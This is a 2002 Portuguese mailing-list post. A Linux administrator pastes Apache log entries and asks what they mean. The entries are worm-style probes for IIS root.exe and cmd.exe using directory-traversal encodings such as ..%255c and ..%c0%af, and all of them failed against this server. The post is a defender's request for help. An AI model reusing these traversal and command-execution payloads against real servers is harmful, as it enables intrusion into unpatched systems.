Pessoal,

Tenho notado, j� faz algum tempo, nos logs do httpd (tanto o error_log como
o access_log), ocorr�ncias como as abaixo. Algu�m sabe o que significam, se
eu devo me preocupar e o que fa�o pra resolver? Isso parece muito
estranho...

Grato,

F�bio Dias
CL 7.0

200.21.219.193 - - [28/Apr/2002:04:37:38 -0300] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 285
200.21.219.193 - - [28/Apr/2002:04:37:40 -0300] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 283
200.21.219.193 - - [28/Apr/2002:04:37:45 -0300] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293
200.21.219.193 - - [28/Apr/2002:04:37:47 -0300] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293

200.35.87.19 - - [28/Apr/2002:11:44:14 -0300] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 285
200.35.87.19 - - [28/Apr/2002:11:44:15 -0300] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 283
200.35.87.19 - - [28/Apr/2002:11:44:16 -0300] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293
200.35.87.19 - - [28/Apr/2002:11:44:18 -0300] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293
200.35.87.19 - - [28/Apr/2002:11:44:19 -0300] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
200.35.87.19 - - [28/Apr/2002:11:44:23 -0300] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 324
200.35.87.19 - - [28/Apr/2002:11:44:25 -0300] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 324
200.35.87.19 - - [28/Apr/2002:11:44:30 -0300] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 340
200.35.87.19 - - [28/Apr/2002:11:44:33 -0300] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.35.87.19 - - [28/Apr/2002:11:44:35 -0300] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.35.87.19 - - [28/Apr/2002:11:44:37 -0300] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.35.87.19 - - [28/Apr/2002:11:44:38 -0300] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.35.87.19 - - [28/Apr/2002:11:44:39 -0300] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 290
200.35.87.19 - - [28/Apr/2002:11:44:41 -0300] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 290
200.35.87.19 - - [28/Apr/2002:11:44:43 -0300] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
200.35.87.19 - - [28/Apr/2002:11:44:44 -0300] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
200.193.33.1 - - [28/Apr/2002:12:24:19 -0300] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 285
200.193.33.1 - - [28/Apr/2002:12:24:20 -0300] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 283
200.193.33.1 - - [28/Apr/2002:12:24:20 -0300] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293
200.193.33.1 - - [28/Apr/2002:12:24:21 -0300] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 293
200.193.33.1 - - [28/Apr/2002:12:24:24 -0300] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
200.193.33.1 - - [28/Apr/2002:12:24:25 -0300] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 324
200.193.33.1 - - [28/Apr/2002:12:24:26 -0300] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 324
200.193.33.1 - - [28/Apr/2002:12:24:27 -0300] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 340
200.193.33.1 - - [28/Apr/2002:12:24:28 -0300] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.193.33.1 - - [28/Apr/2002:12:24:28 -0300] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.193.33.1 - - [28/Apr/2002:12:24:29 -0300] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.193.33.1 - - [28/Apr/2002:12:24:30 -0300] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
200.193.33.1 - - [28/Apr/2002:12:24:31 -0300] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 290
200.193.33.1 - - [28/Apr/2002:12:24:32 -0300] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 290
200.193.33.1 - - [28/Apr/2002:12:24:32 -0300] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
200.193.33.1 - - [28/Apr/2002:12:24:33 -0300] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307



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